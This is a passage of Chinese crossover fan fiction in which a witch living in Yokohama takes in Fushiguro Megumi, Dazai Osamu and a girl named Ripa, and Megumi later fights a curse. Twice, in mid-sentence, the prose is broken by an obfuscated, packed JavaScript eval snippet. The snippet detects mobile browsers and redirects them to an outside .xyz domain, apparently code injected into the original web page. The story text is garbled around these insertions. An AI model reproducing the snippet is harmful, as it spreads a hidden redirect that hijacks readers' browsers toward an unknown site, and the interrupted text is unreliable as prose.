互相欺骗,虚伪度日,却又仿佛没有任何人受伤,过着被称为美好,圣洁的生活。 有代价的关心,无理由的恨意,人们自顾自地给予又自顾自地索取着感情。 这些莫名其妙又难以理解的规则,像是人们心照不宣的共同秘密。 只有他被排挤在外。 他曾努力试图理解,最终还是失败了。 面前的女人是为什么将他从冰冷的河水中拉起,又是怀着什么目的让他留下,他都已经不在乎了。因为他已经找到了获得答案的方式。 他该走了,天气转暖后,就不那么容易死掉了。 他没有去接淡岛青理手中的衣服,拢了拢衣襟就向玄关走去。 伏黑惠皱着眉拦住了他的去路。 十五岁的少年已经抽条了许多,几乎每天都在成长,他站在茶室前的走廊上,能轻易俯视太宰治。他单手插兜站在走廊中间,明确地表达了不会让他离开的意思。 少年并不支持让太宰治留下来,但前提是他养好伤且有合适的去处,而不是现在这样不明不白地离开。 淡岛夫人会难过的。 太宰治的目光扫过横在自己面前的手臂,看见白色衣袖下的肌肉微微鼓起。 他无所谓地勾了勾唇,抬眼对上少年深蓝色的眼睛,带着挑衅开口:“怎么,护主的小狗要咬我吗?” 淡岛青理追上来的脚步顿了一下,来到两人身前,轻轻将惠护至身后:“太宰君,请不要这样说,小惠会很伤心的。” 像小鸡崽一样被护住的伏黑惠:……倒也不必。 太宰治收敛了表情。 哈,真是母慈子孝的一幕。不过与他又有什么关系呢? 他绕过两人走到玄关,将手搭在了门把手上。 “太宰君……” 身后女人似乎想说些什么,他没有去听,沉默着推开了门。 混着泥土气的甜香突然充盈了他的鼻腔,他微微睁大双眼,微风裹挟着粉色的花瓣落在了他的脸颊上,冰凉且湿润。 雨停了。 雨水冲刷后的街道,满树樱花都已盛开。 女人的声音慢一拍传入耳中——“……樱花已经开了,一起去赏樱吧。” 樱花开了,天气转暖了。 太宰治摘下落在脸上的花瓣,鸢色的眼瞳中浮现了一丝茫然。 片刻后他松开手,看着那片花瓣飘落在地上…… 那就再过些时日吧。 反正,冬天已经过去了。 ———— 淡岛家住进了第四个孩子,从电话里得知这件事的津美纪很开心。 她只有过惠一个弟弟,没有见识过人间险恶的她认为新弟弟也一定是一个优秀的好孩子。 [我不在的时候,惠要照顾好妈妈和弟弟妹妹哦。] 想到姐姐电话里的嘱托,伏黑惠感受到了不属于这个年纪的压力。 用勺子在汤锅中捞出一颗红色蘑菇,他发出数不清第多少次叹息,问都没问就拿着汤勺和蘑菇走到客厅给太宰治头上来了一拳。 “太宰,我应该警告过你不要再往锅里放奇怪的东西吧?” 咸鱼一样瘫在沙发上的少年挨了一拳,立刻捂住头顶,眼泪汪汪道:“好痛……伏黑君好粗鲁,这样下去是会没人要的。” 伏黑惠面无表情:“那还真是有劳你操心了。” 太宰治:“想要谢我的话,晚饭就做螃蟹宴吧!” 伏黑惠:“没有人想要谢你。” “而且这周你已经吃了七顿螃蟹,花费了这周大半的生活费,现在莉帕看见螃蟹就想吐。” 太宰治:“哎~怎么会这样——” “啪 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“我不想再吃螃蟹了!”莉帕大声说出自己的诉求,并决定如果太宰治敢反驳,她就跳起来给他一个飞踢! “哎,好吧……”出乎意料地,太宰治立刻就妥协了。 他翻了个身,整个人趴进沙发靠背的缝隙里,只露出毛茸茸的头顶。 搞、搞什么啊?莉帕放下插在腰间的手。 干嘛突然服软啊,搞得人情绪都不连贯了喂! 伏黑惠只思考了两秒,然后扔掉汤勺,一把抓住太宰治的头发把他的头从沙发缝隙里拔出来,另一只手直接捏住了他的嘴巴。 “吐出来。” 太宰治闭紧嘴发出了呜呜的抗议声。 但伏黑惠已经有经验了,捏住嘴巴两侧的手微微一用力,另一只手拦腰将他一抬,一颗红蘑菇就从嘴里滚了出来。 “你什么时候把它从我手里拿走的?”伏黑惠用纸巾包住蘑菇扔进垃圾桶,一直没什么表情的脸上带了些疑惑。 没有人回答他。 太宰治正趴在沙发上装死。 莉帕:“哈,真应该送他去上学,这样就不会有这么多时间折腾了。” 伏黑惠同意:“我会再向淡岛夫人提议的。” 这些天里,伏黑惠充分地体会到了太宰治如同小强一般的生命力和超出常人的作死精神。 上吊,入水,跳楼,吃药…… 短短几日,太宰治为大家展示了面见死神的n种方式。 对此,滤镜大概有八百米厚的淡岛夫人发出溺爱的声音—— 他还是个孩子! 他那么没有安全感! 他只是想博得一点关爱,他有什么错?! 指望淡岛夫人阻拦训斥是不可能的,她只会在事后心疼地给太宰治喂补品,并严厉训斥因为没能承受住太宰治的重量而让他摔了一个屁股墩的树枝。 说实话,这是伏黑惠第一次见淡岛夫人如此溺爱一个孩子,有求必应到让人觉得她失了智。 伏黑惠非常希望淡岛夫人能改变主意送太宰治去上学,最好让他住校。他再也不想不分昼夜地去河里、去树上、去楼顶捞人了,每次都弄得一身狼狈。自从太宰治来了家里,家中衣物的折损率直线上升,甚至洗衣机都报废了一个。 伏黑惠摸着自己的黑眼圈,不止一次发出疑问:这个孩子到底是谁在养? 5. 第 5 章 淡岛青理搬来横滨半个多月,但还没有拜访过邻里,这实在是很失礼的一件事。 因此今天她早早起床,用色彩鲜艳的小纸盒分装了一些自制(伏黑惠做的,她只负责按模具)的小饼干,送给邻居们做见面礼。 淡岛家所在的这条街虽然已经有些年头了,但是宽敞的独栋庭院式住宅弥补了这一缺陷,因此居住率很高。 淡岛青理拜访了前后左右每一所住宅。如果家中只有男主人在,她就送上礼物,简单交谈几句。如果是女主人在,那她免不了要被邀请进去坐坐,再喝杯茶聊聊天。 之前来拜访过的松本小姐没有在家,出于好奇,她带着礼物去了松本小姐工作的咖啡厅,顺便还结识了那里的老板。店里客流量不大,老板也拉着她聊了许久,以至于从咖啡厅出来的时候已经接近傍晚了。 夕阳照耀下,淡岛青理站在店门口摆弄着手机,晚风吹过,咖啡店门上的风铃叮当作响。 “大家都到家了,我们也该快点回去才行。” 在她的手机屏幕上,三个闪烁的红点聚集在一起。 横滨的夜晚从来都是与危险挂钩的,所以当太阳西斜的时候人们就陆陆续续开始下班回家。晚风吹着落樱打着旋从木屐旁经过,女人不紧不慢的步伐与周围行色匆匆的路人形成了鲜明对比。 她提着购物袋缓步前行,路过还没打烊的店铺时偶尔会停下来张望。一只身形似狼的黑犬一直跟在她身侧,在她停下脚步的时候就会蹲坐在她脚边,警戒地观察四周。 在一家临街的店面驻足,她看了一会儿彩色广告板,对老板说:“请给我一份章鱼小丸子。” 在店门前等了一会儿,淡岛青理将购物袋提在一只手上,另一只手接过一盒冒着热气的洒满木鱼花的章鱼小丸子。 她提着东西走进了一条没有人的小巷,将购物袋放在地上后蹲下身,叉起一颗章鱼小丸子吹了吹,然后递给一直跟着她的黑犬。 “给,吃吧。” 黑犬呜呜一声,将丸子一口吞下,身后的尾巴摇成了螺旋桨。 “乖狗乖狗,”淡岛青理抚摸着黑犬毛茸茸的脑袋,笑着说,“可不要告诉惠我给你吃垃圾食品哦。” 玉犬黑发出呜呜的哼叫声作为回应。 眼前生动的毛茸茸的大狗并不是真正意义上的动物,它是咒力催动下由影子中诞生的“式神”,来自伏黑惠的术式——十种影法术。 与看起来是个柔弱普通人的养母不同,伏黑惠是一名咒术师。他的血脉来自咒术世家,身体里流动的血液注定了他不会平凡。 在很小的时候,伏黑惠就发觉了自己的与众不同,后来更是觉醒了生得术式。其实如果可以选择,伏黑惠更想要做一名普通人,普通地被淡岛青理收养。 只是人不能选择自己的出身和血脉,所以他学会了接受。仗着养母看不见咒灵,他经常让式神充当定位器和保镖。 实际上什么都看得见的淡岛青理当然知道,只是她对这一切接受良好 ——这也是惠关心她的证明不是吗? “好乖好乖,这些都给你,吃吧。”淡岛青理说着,将一整盒章鱼小丸子放在地上。 玉犬黑摇着尾巴吃得很欢,淡岛青理撑着脸颊嘴角上扬:“回去后也不要告诉小白哦,上次有惠在旁边,我装作看不见它,都没有摸它,你跟它讲了它是要生气的。” 一盒小丸子也不多,玉犬黑几口就吃完了。淡岛青理将垃圾装进袋子里,打算一会儿找个垃圾桶毁尸灭迹。 站起身准备回家,一抬头却发现巷口站着一个庞大的身影,高大的体型挡住了阳光。 那东西足有两米高,臃肿的蓝绿色身躯上伸出了四只形态各异的手臂。它晃动布满肉球的脑袋,三只复眼疯狂转动,长满利齿的口中喃喃着:“……概不……赊账……” 突然看到这么个东西,淡岛青理不由得打了个哆嗦。不好意思,有点被丑到了。 不管看多少次,还是觉得这东西是对她审美的一种霸凌。 就这么一停顿,咒灵一只疯狂转动的眼球与她对上了视线。咒灵被吸引了注意力,三只眼睛齐齐转向她的方向,安静两秒后,庞大的身躯直直地向她冲了过来。 小世界的魔力衰退得七七八八,得不到魔力补充的淡岛青理早已经不是原本挥手之间就能搅得世界天翻地覆的首席魔女。但她并不惊慌,她知道这东西伤不到她。 果然,咒灵臃肿的身躯刚刚冲刺到一半,就被扑来的黑影撞飞了出去。玉犬黑龇着牙,将咒灵的躯体一块块撕裂吞下。 待玉犬将咒灵全部吃掉后,淡岛青理掏出手帕给玉犬黑擦了擦嘴。 “好狗好狗,真厉害!” 玉犬黑得意地仰头长啸一声。 淡岛青理拍拍它的头,心情颇好地哼着歌回了家。 “我回来了——” 淡岛青理推开屋门,迎面遇见了正要出去找她的伏黑惠。 “怎么没有叫我去接你?”伏黑惠皱了一下眉头。 自从搬来横滨,他总是对淡岛青理的人身安全充满担忧。 或许是存在异能者的缘故,横滨的咒灵不多,等级也很低,只有三四级的样子,派一只玉犬暗中随行完全能解决遇见的咒灵。但是横滨可不只有咒灵,还有随处可见的黑手党。淡岛夫人很柔弱,他很怕她会被卷入麻烦中。 “不用担心啦,我有好好避开动乱区的。”手里沉重的购物袋被伏黑惠接走,淡岛青理扶着墙壁一边换鞋一边说。 “今天有发生什么奇怪的事吗?”伏黑惠问。 通过玉犬传来的信号得知淡岛夫人今天遇到了咒灵,伏黑惠担心她有没有被吓到。 “嗯?”淡岛青理歪了歪头,“没有哦,什么奇怪的事情?” 看来是没有察觉到,伏黑惠放心了。 淡岛青理先回卧室去换衣服,伏黑惠提着购物袋去客厅。路上,他拍了拍玉犬黑的头将它收进脚下的阴影里。 尽管还没有入学高专,但是五条先生偶尔会来偷偷指导他如何使用咒术。现在他已经能做到令一名式神自由行动,式神的行动范围也随着他的成长逐渐扩大。 只是目前来说也只能在他附近的几条街区活动。 淡岛青理换了衣服来到客厅,温声同厅中的几个孩子打了招呼。 “松本小姐工作的咖啡店的店长送了几杯咖啡,还是温的,有人要喝吗?” 和店长聊了半天,她把多准备的蔓越莓曲奇饼干送了出去,店长也大方地回赠了几杯咖啡。 淡岛青理是不喝咖啡的,她更喜欢喝茶。 或许口味确实是不遵循遗传规律,莉帕非常喜欢咖啡,惠也很喜欢,家里的咖啡机就是为他们两个准备的。 不过莉帕是个不挑剔的女孩,对咖啡没有什么品质要求,无论是现磨还是速溶她都爱喝。 此时银发萝莉跪在高高的椅子上,趴在桌子边缘翻看购物袋里的咖啡,金色的眼睛闪闪发亮。 咖啡包装得很严,还用了保温袋,确实还是热的。 “是摩卡啊。” 店长了解到淡岛青理家中有不少孩子,做的都是偏甜的咖啡。 莉帕将袋子拆开,开始分发咖啡。 “小惠一杯,我一杯。” “太宰一杯,津美纪一杯。但是津美纪不在家,所以是太宰一杯,我一杯。” “青理不喝,我再一杯。” 将咖啡分成三人份,莉帕满意地点点头。 这样莉帕大人又帮家里分担了不少压力。 真是甜蜜的负担啊。 “不可以,莉帕,”伏黑惠毫不留情地拿走了咖啡,“已经很晚了,喝这么多咖啡会影响睡眠。” 莉帕不服,她双手叉腰义正词严:“魔女不需要睡觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740204|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “魔女?”一直没出声的太宰治来了兴趣。 他穿着白色的外套,像幽灵一样从沙发上飘到桌边,拿过咖啡喝了一口,然后吐了一下舌头将杯子推到了一边。 “没错!”莉帕叉腰,“现在站在你面前的就是有史以来最伟大的魔女——阿尔托莉丝大人!颤抖吧,愚蠢的人类崽子!” “哇,好厉害!” 太宰治十分捧场:“那么请问伟大的阿尔托莉丝大人,你能做些什么?” 因为津美纪不在,所以没人哄她玩的莉帕膨胀了:“阿尔托莉丝大人无所不能!” “那请阿尔托莉丝大人赐我无痛的死亡吧!” 莉帕:…… 莉帕卡住了。 莉帕嘴唇开了又合,合了又开,最后憋得小脸通红。 “……会死的,都会死的。不是不死,是灵活的死,动态的死,辩证的死,是调死,调到该死的时候死……”她嗫嚅着嘀咕了一堆,手指快要给桌子扣出一个洞。 太宰治:“所以就是现在做不到的意思咯。” 莉帕:QAQ “咚” “咚” 伏黑惠在两人头上各敲了一下。 “莉帕,不要胡闹。” “太宰,莉帕年纪小,你不准欺负她。” 莉帕才小学一年级,正是沉迷美少女魔法故事的时候,太宰治跟着凑什么热闹? 太宰治趴在桌子上,双手捂住头顶:“可恶,这个家里只有我的地位最低,我要离家出走!” 他趴在桌子上侧过头,看向淡岛青理的鸢色的眼睛中带着试探,“说起来,今天在河边碰见一个带着孩子的邋遢大叔,他邀请我和他走呢。唔,我要不要同意呢?” 浓密睫毛遮掩下的深灰色瞳孔有一瞬间扭曲,淡岛青理掐了一下手掌,再抬眼已经恢复了神色。 她眨眨眼睛,似乎在反应少年说了什么。 “哎?!” 女人慢半拍地抬袖掩唇,一双狭长的凤眼都要瞪成了圆眼,磕磕绊绊地开口:“可、可是,太宰君不能和他走的……” “为什么不能呢?” 淡岛青理泪眼汪汪:“太宰君明明已经答应了我的……” 太宰治:“嗯?我有答应吗?” 淡岛青理:……! 没有! 太宰治虽然按照她的期望住了下来,但从来没答应过她什么! “怎,怎么这样……”淡岛青理大受打击。 眼见这对母女有一个算一个,都被欺负得说不出话来,伏黑惠无语。 “这种时候应该先担心太宰是不是遇见人贩子了吧?”伏黑哥面无表情,不明白这几个人的脑回路。 在路上遇见一个陌生的成年人要你跟他走,怎么想都不对吧! 这应该是法制频道,而不是家庭伦理频道! “原来如此,一定是的吧,”淡岛青理双手捂嘴,“怎么办惠酱?太宰君被人贩子盯上了!” 警报,一级警报!有人要抢孩子啦! 伏黑惠面无表情:“送他去上学吧,寄宿学校,这样人贩子就没机会下手了。” 莉帕举双手双脚赞成! 太宰治:好、好狠! 淡岛青理沉思,淡岛青理心动,淡岛青理猛摇头。 “不行不行,答应过太宰君的事情,不能反悔。” 莉帕失望至极。 太宰治:“被坏人带走也无所谓,正好可以迎接死亡。” 淡岛青理全麦无糖面包尖叫:“怎么可以!” 太宰猫猫这么可爱,坏人才不会杀他,只会把他卖给肮脏的大人!弱小可怜又无助的太宰猫猫肯定会被这样那样又那样这样! 天啊!她脑海里已经浮现出满身泥土的绷带猫猫举着“妈妈救救”的小牌子的样子了。 妈妈不允许! 6. 第 6 章 太宰治一句试探成功触发了淡岛青理的某项ptsd。 因为担心太宰治被人拐骗,淡岛青理买来了大量儿童安全教育书籍塞到了太宰治的卧室里,并且把晚饭期间的电视节目固定在了儿童教育频道上。 那是一档固定在晚间播出的叫《和妈妈在一起》的儿童娱乐教育节目,主持人是几个帅气漂亮的青年男女。节目现场有很多和小孩子的互动,因此一连几天家里的餐桌上都环绕着电视机里小朋友们的欢声笑语。 这是一档亲子节目,然而这个家里只有淡岛青理自己看得津津有味。 伏黑惠淡定地用咒力隔绝听力,莉帕仗着胃口小吃两口就跑,最后受折磨的只有太宰治一个。 难以想象世界上为什么会有小孩子这样精力无限的生物,太宰治常常觉得自己与他们不是一个物种,光是看着他们在节目里又蹦又跳就已经感觉到疲倦了。 一熊一兔两个玩偶人将安全教育知识排成搞笑节目演给孩子看,现场小朋友的欢笑声冲出电视机邦邦给了太宰治两拳,锤得他眼冒金星。 太可怕了,太宰治想,这个女人是女巫,她在用一种很新的手段折磨他。 不堪受辱的太宰治试图逃跑,他不要留在这个充满大猩猩、笨蛋和邪恶女巫的地方。 被他形容为大猩猩的少年抬起骨骼分明的手,握拳,两下打碎了太宰治追求自由的美梦。 头上顶着两个包的太宰治蹲在没有开灯的玄关处,想不明白伏黑惠为什么大半夜不睡觉蹲在门口堵他。 在他脚边,白色玉犬吐着舌头,呼哧呼哧地向伏黑惠邀功。 几次逃跑都被抓回来之后,太宰治确信伏黑惠有监视他的手段。少年被拽着衣领在地上拖行,眼中失去高光,一路从镭钵街被拖回淡岛家。 他都躲到集装箱里面了,竟然还能被找到,伏黑君是狗吗? 太宰治,十四岁,误上贼船,拼尽全力,无法逃脱。 将一切看在眼里的淡岛青理对着莉帕猛夸伏黑惠贴心:“我的惠酱就是妈妈最喜欢的小狗狗!会做家务会看家!还特别黏人!” 莉帕:“请你把他当个人。” 淡岛青理充耳不闻:“不如给惠酱买个手推车吧,这样他带太宰回家的时候可以轻松一些。” 莉帕:“你也做个人吧!” 抒发了对淡岛青理的不做人的谴责,莉帕恢复了正经的态度,抱着手臂问:“我说,过了这么久了,你也该说清楚你来横滨是为了找什么吧?” 对于淡岛青理的隐瞒,莉帕一直有所不满。 两个月前,她第一次感觉到世界又有融合迹象的时候,把这件事当作一个趣闻说给了青理听。然而青理在听闻过后却对新世界产生了浓厚的兴趣,一直缠着她请她加快世界融合。 她向来是无法拒绝青理的。 因为青理的一句话,她推演坐标,铺设锚点,修改轨迹,拉动融合,与此同时还要遮蔽星域,避免被魔女协会察觉到异常。 一番折腾下来,她几乎耗尽了积攒的魔力。淡岛青理那个没良心的家伙却在第二天就欢快地宣布要举家搬到横滨,并且没给她任何理由。 想起这些的萝莉冷哼一声,目光凶恶:“我觉得我有知情权,你说呢?” 顶着莉帕似乎是在骂人的视线,淡岛青理投降一般举起了手:“好嘛好嘛,不要那么凶啊,莉帕。” 微风带着飘落的花瓣打着旋落在窗棂,她单手托着脸颊视线飘向窗外,在短暂的沉默后开口:“从魔女协会逃离的时候,我遭到了围剿……” 为了捉拿她,协会召集了所有追猎科精英,包括还在外执行任务的副席斯丽巴卡。 追猎科很久没有这样聚齐过了,没想到一朝再见,却是为了兵戈相向。 “巴塔是最了解我的人,我的那些诡计对她毫无作用,最后我以双目失明和多了一道贯穿颅脑的伤口为代价逃出了包围。” 随着女人用轻缓的声音讲述过去,莉帕环抱着的手臂也慢慢放了下来,逐渐开始变得紧张无措。 “为甩掉追兵,我在各个的空间域中不断穿梭,最后体力不支坠入了一个小世界。那时候我万念俱灰,已经不知道为什么还要继续逃亡了……” “身负重伤,双目失明,躲在无人到访的废弃之地,想着会不会就那样消失在那个无名的世界……” 气氛越来越低迷,银发萝莉已经变得坐立难安,两只手开始搓自己的裙角。 “后来,天使降临了!”淡岛青理语气一转,突然变得莫名激昂,“有一个小男孩出现在我身边,不离不弃地陪伴我!我们相依为命,他教会了我人类世界的生存守则,他对生命的热忱感动了我,让我重拾生的希望!” 说着,女人上前两步握住莉帕的手,泪眼汪汪地说:“没有他,就没有现在的我!莉帕,做魔女不能忘恩负义!我看到了他的未来,看到了他的悲惨结局,那我就该帮他改变对不对?” 莉帕被她突然转变的画风整晕了,不经大脑顺着她的话说:“呃……对吧?” “……不对!”莉帕突然反应过来,用力甩了甩脑袋,“你说的那个小男孩该不会是……” 淡岛青理向她比了个大拇指:“是太宰呀!” “你放屁!”莉帕直接从榻榻米上蹦了起来!“那小子满身黑泥一脸死意,放到地狱里辅佐官都辨不出他是人是鬼,他有个屁的‘对生命的热忱’!你骗谁呢?!” 淡岛青理的借口简直漏洞百出! 女人偏过头避开她的眼神,举起的手大拇指和食指靠近,比画了一个一捏捏的手势:“我是做了那么一点点艺术加工,但是事实也差不多嘛。” 真的,真的只是优化了一点点。 “你的语言里全是艺术,找不出一点事实的痕迹。”莉帕咬牙切齿地说,“那个小鬼第一次见你时的目光完全陌生,他没有见过你。” 眼见糊弄不过去了,淡岛青理干脆摆烂。 她轻笑着抬起头,目光不偏不斜地与女孩对视:“好吧,不信就算了。那么莉帕,你要拷问我吗?” “你……!!” 对上她有恃无恐的笑容,女孩气得抬起手四处找东西砸人,却发现周围都是些花瓶茶杯之类的利器,最后只能无能狂怒地把榻榻米拍得啪啪作响。 “你蛮不讲理!” “嗯哼,那又如何?” 确实不如何,莉帕拿她毫无办法。世界合都合了,她还能再给分开不成? “哼……你最好不是想做什么坏事。” 淡岛青理饶有兴致地发问:“如果真的是要做什么坏事,莉帕又要怎么办呢?” 带着挑衅的提问换来了银发萝莉恶狠狠的瞪视! “还能怎么办?给你收拾烂摊子!” —————— 在伏黑惠密不透风的看护下,太宰治的安全得到了巨大保障,折磨大家许多天的淡岛青理终于愿意给电视换台了。 其实是感觉再这么放几天太宰就要砸电视了。 没有了小孩子烦人的笑声,太宰治感觉餐桌上的空气都清新了不少。 然而莉帕这几天却看上头了,拉着淡岛青理让她把节目换回来。这一举动自然是招来了太宰治的报复,两人很快揪着衣领扭打成一团。 “停一停停一停,”淡岛青理拍拍手宣布一件事,“后天就是商定好的一起去赏樱的日子了,现在应该开始做准备了哦。” 你抓着我裙摆我揪着你头发的两个人闻言一起偏过头:“准备什么?” “当然是食物和饮品啦,”淡岛青理歪头一笑,“这些就交给惠酱。” 莉帕:“不要什么都推给惠啊!” 坐在角落里看书的伏黑惠没有发表意见,这在他看来是理所应当的事情。津美纪不在,这个家就靠他撑着了。 淡岛青理忽略掉莉帕的话,“然后呢,我在商业街的服装店那里给大家定制了几件衣服,晚饭过后我去取回来。” “我去吧。”伏黑惠放下书。 傍晚的横滨并不安全,他不放心淡岛夫人一个人。 “那我也要去!”太宰治爬起来举手,“顺便去买蟹肉罐头!” 伏黑惠:“……我能自己去吗?”不是很想和这个人一起出门。 微弱的抗议没有一点作用,晚饭后,伏黑惠还是带着太宰治出门了。 临走之前,他对着淡岛青理反复叮嘱:“不要出门,有什么想买的东西打电话告诉我,也不要随便给陌生人开门。” “知道了知道了,惠好啰嗦。”淡岛青理推着他向外走,“早去早回哦!” 两人一起出了门。 …… “跟紧我,别乱跑,走丢了我不会去找你的。” 傍晚的街道上,有着黑色刺猬头的少年穿着棕色衬衫和白色外套,目不斜视地走在前面,深灰色西裤包裹下的笔直长腿迈着矫健的步伐。 在他的身后两三步远的位置跟着一个披着浅灰色风衣外套的小少年。少年表情无辜,两手垂在身前,步伐踉踉跄跄。 路过的行人纷纷投来注视。 “伏黑君,也不必做到这种地步吧?大家都在看我们,好丢人啊,快点给我松开。”太宰治晃动着被绑在一起的手腕,试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“到了,我去取衣服,你在这里……”伏黑惠话还没说完,先愣了一下。 身侧店铺的玻璃橱窗上只倒映出了他一个人的倒影。 他猛地回头,发现身后空空如也,牵引绳的另一端被系在了一只飘起的气球上。 “…………” 那个家伙!! 服装店的店主似乎与淡岛夫人很熟,听说他是来取淡岛夫人定制的衣服,双眼一亮。 “你就是惠吧?果然像淡岛夫人说的一样帅气!淡岛夫人选的衣服款式很适合你!气球也很可爱,是买给妹妹的吗?” 女店长叫店员从里面的房间拿出来两个包装好的纸袋递给他,口中不停地表达着赞美:“小帅哥身材很好,穿什么衣服都不难看,但是我家的衣服绝对是最能突显青春活力的,年轻人就该穿得鲜艳一些才对!” 说着,她还给伏黑惠塞了两张名片:“衣服如果有不合适的地方可以再拿来改,不收费的。如果穿着喜欢的话要记得推荐给你的同学啊!” 好不容易告别了热情的店长,伏黑惠站在街道上看了一眼时间,发现另一家洋装店已经快要关门了,跑着过去大概还来得及。 “妈妈!气球在笑!”路过的小男孩牵着妈妈的衣角,手指指向伏黑惠身后。 伏黑惠回头:“……” 刚刚都没有发现,明黄色的气球上被人用马克笔画了一个大大的笑脸,笑容像某人一样欠揍。 看了一眼渐黑的天色,伏黑惠轻啧一声。莉帕的衣服明天再取吧,明天早点去应该没问题。 他收紧牵引绳把气球牵在身侧,抬手召唤出玉犬,转身顺着来时的路找回去。 街边的路灯亮了起来,照亮行人回家的路。远处的街道响起连绵的枪声,伏黑惠皱起眉加快了脚步。 太宰那家伙也不知道跑到哪里去了,他打了两遍电话没有打通,折返的路上也没有发现他的踪迹。 玉犬白趴在地上东闻闻西嗅嗅,最后向一个方向发出了示意。 “往那边去了吗?跟上去,玉犬。” 在玉犬白的带领下,伏黑惠七拐八拐地跑过了半个街区。太宰那家伙是兔子吗,这么能跑? 从一条狭窄的小路穿出来,路灯的灯光打在他的身上,也照亮了街对面店铺的招牌——“WAVE洋装。” 伏黑惠愣了一下,然后慢慢放松身形。 ……那家伙,想分头行动就说清楚啊,一声不吭是在耍人吗? 他穿过街道来到店门前。 店铺的门已经上锁了,如果太宰确实来过这里的话,应该已经把莉帕的衣服取走了吧。不过这附近没有太宰的身影,是已经回家了吗? 玉犬白在店门前来回踱步,原地转了两圈后突然看向远处街道尽头的小巷,弓起脊背做警戒状。 与此同时,远远地从那边传来了一声尖叫。 “啊啊啊啊——!” 糟糕,有人受到袭击了! 7. 第 7 章 在距离洋装店不远的巷子深处,一个穿着西装的上班族跌坐在地上,四周散落着公文包和文件。他双目圆睁,表情惊恐,似乎看到了什么骇人之物。 “有、有怪物!有怪物!” 看到巷子口出现一个人影,男人连滚带爬地跑过来,一下子抱住了伏黑惠的大腿!他也不在乎来人只是一个半大的少年,死死地抓着伏黑惠的裤子,仿佛抓住了主心骨。 “喂,你松开!”伏黑惠用力拉住裤腰,防止男人把他的裤子拽掉,“冷静一点,告诉我你看到了什么?” 男人好不容易死里逃生,惊惧之下什么也听不进去,只知道死命地拽紧身边的人。 “啧,”伏黑惠额角蹦出一个#号,用力一踢腿把男人甩开。 看见男人还想再凑过来,他急忙制止:“请冷静点,已经没事了。你遇到了什么?是咒灵吗?它现在去哪了?” 在他的询问之下,男人终于反应过来:“我我、我看到了一个怪物!他浑身长满嘴,眼睛有灯笼那么大!我刚刚就在这里被它袭击了!” “那个怪物现在去哪了?”伏黑惠再次追问。 男人回忆自己之前看到的景象—— 他在下班途中遭到袭击,怪物突然出现将他撞飞了出去,紧接着伸出尖锐的利爪向他抓来!就在他惊恐地以为自己就要命丧黄泉的时候,怪物突然停住了,臃肿的脑袋扭转了一百八十度望向巷口。 他跟着怪物的视线看去,看见一个穿着灰色风衣的少年抱着一个纸袋从巷口走了过去。 还没等他出声求救,那个怪物就在他惊恐的视线下调转了身形,向着少年离开的方向追去了。 他看着那个怪物离开,死死地捂着嘴不敢出声,生怕再次吸引怪物的注意力,直到怪物的身影消失不见他才敢崩溃大叫。 伏黑惠听完他的描述顿感不妙。穿着灰色风衣,抱着纸袋的少年……糟了,是太宰! 他立刻向着男人描述的方向追了过去,任凭身后的男人如何撕心裂肺地呼喊也没回头。 没追出几步,他就在路上发现了属于咒灵的咒力残秽,蓝黑色的咒力痕迹一路向前,最后通向了一处道路复杂的老街区。 伏黑惠面色沉了下来。 在刚刚搬来横滨的时候,他有认真熟悉过横滨的地形。前面的这片街区已经很老旧了,许多路灯在损毁之后都没有维修,任凭破败的残躯竖立在那里。 街区的道路狭窄又曲折,没有充足的照明,追踪起来太困难了。 “「鵺」!” 身形庞大的巨鸟式神冲天而起,抓着伏黑惠飞上了天。 从高空俯视地面,蛛网一般交错的小巷尽数落在眼底,他很快就找到了他的目标。 一只浑身散发着绿色烟雾的咒灵正顺着小巷移动,而它前方不远处的另一条巷子里有一个人影正毫无所觉地向前,这样下去再过不久两方就会在交叉口相撞! 伏黑惠指挥鵺追上咒灵,接着解除了式神,夜风在耳边呼啸而过,他瞄准咒灵直直地向下坠落。 然而咒灵竟然有所察觉,在抬头看了一眼天空后立刻加快了奔跑的速度! 伏黑惠在空中调整姿势,落地的一瞬间立刻召唤出了玉犬。 黑色的玉犬四肢着地快速地奔腾,接着一个跳跃扑到了咒灵身上,尖利的犬齿用力撕咬咒灵臃肿的躯干,与此同时伏黑惠也追了上来,从影子里摸出咒具挥向咒灵。 “叮——!”一声脆响,咒灵竟然用牙叼住了咒具,月光下,它每张嘴里的利齿都反射着金属的寒光。 一击不成,伏黑惠迅速侧身躲过咒灵挥来的利爪,并召唤出了玉犬白。 怎么回事?这个家伙的实力和之前遇到的完全不一样,已经快要接近一级咒灵了!横滨什么时候出现这种强度的咒灵了?为什么他没有发现? 他再次躲开咒灵的一击,意识到了事情的严重性。 这里是居民区,附近有很多住户,他已经看到有人家听到响动亮起灯了。普通人太多,没有时间也没有地方让他下账,道路狭窄,体型庞大的式神也不能召唤,这对他来说制约太大了。 是他莽撞了,他刚才不应该对上咒灵,应该先去太宰身边带他走才对,没想到这个咒灵这么难缠。 挥刀砍伤咒灵的一只手臂,吸引了咒灵注意力的少年咬牙转身向后跑去。 当务之急是将这只咒灵带离居民区,到了宽阔的场地落下帐,他就可以召唤其他式神参战了。 然而意外发生了,咒灵在吃痛过后并没有去追伏黑惠,而是毫不犹豫地奔向了它原本要去的方向。 回头观察的伏黑惠瞳孔一缩:“太宰!” 他腰身一扭猛地调转方向,将手里的咒具用力投掷出去。 宽大的刀刃划过咒灵的脑袋带出了一道巨大的豁口,然而它只是踉跄了一下,接着头也不回地冲出了巷子口,然后转身奔向了太宰治所在的那条路。 可恶! 伏黑惠拼尽全力奔跑,追着咒灵冲了出去,然后在路口猛地一转弯—— “太宰!快、……?” 眼前的景象让他愣住了。 昏暗的小路上,只有一个孤零零的身影。 怀抱纸袋的黑发少年正站在原地,低头观察自己的手掌。 